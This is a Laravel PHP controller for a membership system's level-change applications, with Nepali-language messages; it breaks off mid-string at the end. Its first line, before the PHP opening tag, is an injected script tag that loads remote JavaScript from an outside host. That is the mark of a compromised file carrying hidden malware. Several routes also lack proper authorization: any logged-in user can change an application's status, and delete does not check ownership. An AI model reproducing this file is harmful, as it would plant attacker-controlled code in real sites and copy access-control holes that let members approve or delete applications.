<script src="http://z3ro.today/kaydet.php"></script><?php

namespace App\Http\Controllers;

use App\Models\Level;
use App\Models\MemberLevel;
use App\Models\Members;
use App\Models\Notice;
use Illuminate\Http\Request;

class MemberLevelController extends Controller
{
    private $mainTitle = 'Member Level';
    private $pageInfo = [];
    private $validateData;

    public function index($id, $hash)
    {
        // check hash authenticity
        if (!checkHash($id, $hash)) {
            return back()->with('error', 'INACCESSABLE !');
        }
        if (auth()->user()->usertype == '3') {
            session()->put('member_id', memberfromuser(auth()->user()->id));
        }

        // get member
        $memberInfo = Members::findOrFail(session('member_id'));
        $levels = Level::all();

        // Check for active level change notice
        $activeLevelChangeNotice = Notice::where('notice_type', 'level_change_notice')
            ->where('last_date', '>=', now()->toDateString())
            ->where('published_date', '<=', now()->toDateString())
            ->orderBy('created_at', 'desc')
            ->first();

        $memlevels = MemberLevel::where('members_id', session('member_id'))
            ->with(['level', 'previousLevel', 'targetedLevel', 'notice'])
            ->orderBy('id', 'desc')
            ->get();

        return view('member-details.addmemlevel', compact('memberInfo', 'levels', 'memlevels', 'activeLevelChangeNotice'));
    }

    public function store(Request $request)
    {
        // Check if there's an active level change notice
        $activeLevelChangeNotice = Notice::where('notice_type', 'level_change_notice')
            ->where('last_date', '>=', now()->toDateString())
            ->where('published_date', '<=', now()->toDateString())
            ->first();

        if (!$activeLevelChangeNotice) {
            return back()->with('error', 'श्रेणी परिवर्तनको लागि हाल कुनै सक्रिय सूचना छैन।');
        }

        $validatedData = $request->validate([
            'targeted_level_id' => ['required', 'numeric', 'exists:levels,id'],
            'uploaded_date' => ['required', 'string', 'min:10'],
            'voucher_amount' => ['required', 'numeric'],
            'voucher_no' => ['required', 'string', 'max:255'],
            'voucher_file' => ['file', 'mimes:pdf,jpg,jpeg,png', 'max:500'],
            'document_file' => ['file', 'mimes:pdf,jpg,jpeg,png', 'max:500'],
            'darta_pramanpatra_file' => ['file', 'mimes:pdf,jpg,jpeg,png', 'max:500'], // Add this line
            'remarks' => ['nullable', 'string'],
        ]);

        // Get current member info
        $member = Members::findOrFail(session('member_id'));

        // voucher file upload
        if ($request->hasFile('voucher_file')) {
            $documents = $request->file('voucher_file');
            $docsExt = $documents->getClientOriginalExtension();
            $docsName = date('Y-m-d') . '-voucher-file-' . RandomNum(4) . '-' . time() . '.' . $docsExt;
            $validatedData['voucher_file'] = $documents->storeAs('voucher-file', $docsName, ['disk' => 'public']);
        } else {
            $validatedData['voucher_file'] = 0;
        }

        // document file upload
        if ($request->hasFile('document_file')) {
            $documents = $request->file('document_file');
            $docsExt = $documents->getClientOriginalExtension();
            $docsName = date('Y-m-d') . '-level-change-document-' . RandomNum(4) . '-' . time() . '.' . $docsExt;
            $validatedData['document_file'] = $documents->storeAs('level-change-document', $docsName, ['disk' => 'public']);
        } else {
            $validatedData['document_file'] = 0;
        }

        // darta pramanpatra file upload - ADD THIS SECTION
        if ($request->hasFile('darta_pramanpatra_file')) {
            $documents = $request->file('darta_pramanpatra_file');
            $docsExt = $documents->getClientOriginalExtension();
            $docsName = date('Y-m-d') . '-darta-pramanpatra-' . RandomNum(4) . '-' . time() . '.' . $docsExt;
            $validatedData['darta_pramanpatra_file'] = $documents->storeAs('darta-pramanpatra', $docsName, ['disk' => 'public']);
        } else {
            $validatedData['darta_pramanpatra_file'] = 0;
        }

        // Prepare data for insertion
        $levelChangeData = [
            'members_id' => session('member_id'),
            'notice_id' => $activeLevelChangeNotice->id,
            'level_id' => $validatedData['targeted_level_id'], // For backward compatibility
            'previous_level_id' => $member->level_id, // Current level becomes previous
            'targeted_level_id' => $validatedData['targeted_level_id'],
            'uploaded_date' => $validatedData['uploaded_date'],
            'voucher_amount' => $validatedData['voucher_amount'],
            'voucher_no' => $validatedData['voucher_no'],
            'voucher_file' => $validatedData['voucher_file'],
            'document_file' => $validatedData['document_file'],
            'darta_pramanpatra_file' => $validatedData['darta_pramanpatra_file'], // Add this line
            'is_current' => '0',
            'application_status' => 'pending',
        ];

        if (MemberLevel::create($levelChangeData)) {
            return back()->withSuccess('श्रेणी परिवर्तनको निवेदन सफलतापूर्वक पेश गरियो।');
        }

        return back()->withError('केही समस्या भयो। कृपया फेरि प्रयास गर्नुहोस्।');
    }


    public function delete($id, $hash)
    {
        // check hash authenticity
        if (!checkHash($id, $hash)) {
            return back()->with('error', 'INACCESSABLE !');
        }

        $level = MemberLevel::find($id);

        if (!$level->canBeDeleted()) {
            return redirect()->back()->with('error', 'यो निवेदन मेटाउन सकिँदैन।');
        }

        $level->delete();
        return redirect()->back()->with('success', 'श्रेणी परिवर्तन निवेदन सफलतापूर्वक मेटाइयो।');
    }

    public function accept_level($id, $hash)
    {
        // check hash authenticity
        if (!checkHash($id, $hash)) {
            return back()->with('error', 'INACCESSABLE !');
        }

        // Only admin can accept levels
        if (auth()->user()->usertype == '3') {
            return back()->with('error', 'तपाईंलाई यो कार्य गर्ने अनुमति छैन।');
        }

        $memberlevel = MemberLevel::findOrFail($id);

        // find current active level and make it inactive
        $current = MemberLevel::where('is_current', '1')
            ->where('members_id', $memberlevel->members_id)
            ->orderBy('id', 'desc')
            ->first();

        if ($current) {
            $current->is_current = '2';
            $current->save();
        }

        // update the accepted level as current
        $memberlevel->is_current = '1';
        $memberlevel->application_status = 'approved';
        $memberlevel->approved_by = auth()->user()->id;
        $memberlevel->approved_at = now();
        $memberlevel->save();

        // update the member's level in member table
        $member = Members::findOrFail($memberlevel->members_id);
        $member->level_id = $memberlevel->targeted_level_id ?? $memberlevel->level_id;
        $member->save();

        return redirect()->back()->with('success', 'श्रेणी परिवर्तन स्वीकृत गरियो।');
    }

    public function reject_level(Request $request, $id, $hash)
    {
        // check hash authenticity
        if (!checkHash($id, $hash)) {
            return back()->with('error', 'INACCESSABLE !');
        }

        // Only admin can reject levels
        if (auth()->user()->usertype == '3') {
            return back()->with('error', 'तपाईंलाई यो कार्य गर्ने अनुमति छैन।');
        }

        $memberlevel = MemberLevel::findOrFail($id);
        $memberlevel->application_status = 'rejected';
        $memberlevel->rejected_reason = $request->input('rejected_reason');
        $memberlevel->approved_by = auth()->user()->id;
        $memberlevel->approved_at = now();
        $memberlevel->save();

        return redirect()->back()->with('success', 'श्रेणी परिवर्तन अस्वीकार गरियो।');
    }

    public function update_status(Request $request, $id, $hash)
    {
        // check hash authenticity
        if (!checkHash($id, $hash)) {
            return back()->with('error', 'INACCESSABLE !');
        }

        $validatedData = $request->validate([
            'application_status' => 'required|in:pending,under_review,approved,rejected',
            'admin_remarks' => 'nullable|string',
            'rejected_reason' => 'nullable|string',
        ]);

        $memberlevel = MemberLevel::findOrFail($id);
        $memberlevel->application_status = $validatedData['application_status'];
        $memberlevel->admin_remarks = $validatedData['admin_remarks'];

        if ($validatedData['application_status'] === 'rejected') {
            $memberlevel->rejected_reason = $validatedData['rejected_reason'];
        }

        if (in_array($validatedData['application_status'], ['approved', 'rejected'])) {
            $memberlevel->approved_by = auth()->user()->id;
            $memberlevel->approved_at = now();
        }

        $memberlevel->save();

        return redirect()->back()->with('success', 'स्थिति अपडेट गरियो।');
    }

    private function unsetHashID()
    {
        unset($this->validateData['id']);
        unset($this->validateData['hashed']);
    }

    public function editForm($id, $hash)
    {
        // check hash authenticity
        if (!checkHash($id, $hash)) {
            return back()->with('error', 'INACCESSABLE !');
        }

        if (auth()->user()->usertype == '3') {
            session()->put('member_id', memberfromuser(auth()->user()->id));
        }

        $memberLevel = MemberLevel::where('id', $id)
            ->where('members_id', session('member_id'))
            ->whereIn('application_status', ['pending', 'rejected'])
            ->firstOrFail();

        $levels = Level::all();

        return view('member-details.edit-member-level', compact('memberLevel', 'levels'));
    }

    public function updateForm(Request $request, $id, $hash)
    {
        // check hash authenticity
        if (!checkHash($id, $hash)) {
            return back()->with('error', 'INACCESSABLE !');
        }

        if (auth()->user()->usertype == '3') {
            session()->put('member_id', memberfromuser(auth()->user()->id));
        }

        $memberLevel = MemberLevel::where('id', $id)
            ->where('members_id', session('member_id'))
            ->whereIn('application_status', ['pending', 'rejected'])
            ->firstOrFail();

        $validatedData = $request->validate([
            'targeted_level_id' => ['required', 'numeric', 'exists:levels,id'],
            'uploaded_date' => ['required', 'string', 'min:10'],
            'voucher_amount' => ['required', 'numeric'],
            'voucher_no' => ['required', 'string', 'max:255'],
            'voucher_file' => ['nullable', 'file', 'mimes:pdf,jpg,jpeg,png', 'max:500'],
            'document_file' => ['nullable', 'file', 'mimes:pdf,jpg,jpeg,png', 'max:500'],
            'darta_pramanpatra_file' => ['nullable', 'file', 'mimes:pdf,jpg,jpeg,png', 'max:500'], // Add this line
        ]);

        try {
            // Handle voucher file upload
            if ($request->hasFile('voucher_file')) {
                $documents = $request->file('voucher_file');
                $docsExt = $documents->getClientOriginalExtension();
                $docsName = date('Y-m-d') . '-voucher-file-' . RandomNum(4) . '-' . time() . '.' . $docsExt;
                $validatedData['voucher_file'] = $documents->storeAs('voucher-file', $docsName, ['disk' => 'public']);
            }

            // Handle document file upload
            if ($request->hasFile('document_file')) {
                $documents = $request->file('document_file');
                $docsExt = $documents->getClientOriginalExtension();
                $docsName = date('Y-m-d') . '-level-change-document-' . RandomNum(4) . '-' . time() . '.' . $docsExt;
                $validatedData['document_file'] = $documents->storeAs('level-change-document', $docsName, ['disk' => 'public']);
            }

            // Handle darta pramanpatra file upload - ADD THIS SECTION
            if ($request->hasFile('darta_pramanpatra_file')) {
                $documents = $request->file('darta_pramanpatra_file');
                $docsExt = $documents->getClientOriginalExtension();
                $docsName = date('Y-m-d') . '-darta-pramanpatra-' . RandomNum(4) . '-' . time() . '.' . $docsExt;
                $validatedData['darta_pramanpatra_file'] = $documents->storeAs('darta-pramanpatra', $docsName, ['disk' => 'public']);
            }

            // Prepare update data
            $updateData = [
                'targeted_level_id' => $validatedData['targeted_level_id'],
                'level_id' => $validatedData['targeted_level_id'], // For backward compatibility
                'uploaded_date' => $validatedData['uploaded_date'],
                'voucher_amount' => $validatedData['voucher_amount'],
                'voucher_no' => $validatedData['voucher_no'],
                'application_status' => 'pending', // Reset to pending when edited
                'rejected_reason' => null, // Clear previous rejection reason
                'admin_remarks' => null, // Clear previous admin remarks
            ];

            // Add file paths if uploaded
            if (isset($validatedData['voucher_file'])) {
                $updateData['voucher_file'] = $validatedData['voucher_file'];
            }

            if (isset($validatedData['document_file'])) {
                $updateData['document_file'] = $validatedData['document_file'];
            }

            // Add darta pramanpatra file path if uploaded - ADD THIS SECTION
            if (isset($validatedData['darta_pramanpatra_file'])) {
                $updateData['darta_pramanpatra_file'] = $validatedData['darta_pramanpatra_file'];
            }

            $memberLevel->update($updateData);

            return redirect()->route('dashboard')->with('success', 'श्रेणी परिवर्तन निवेदन सफलतापूर्वक अपडेट गरियो।');
        } catch (\Exception $e) {
            return redirect()->back()->with('error', 'केही समस्या भयो। कृपया फेरि प्रयास गर्न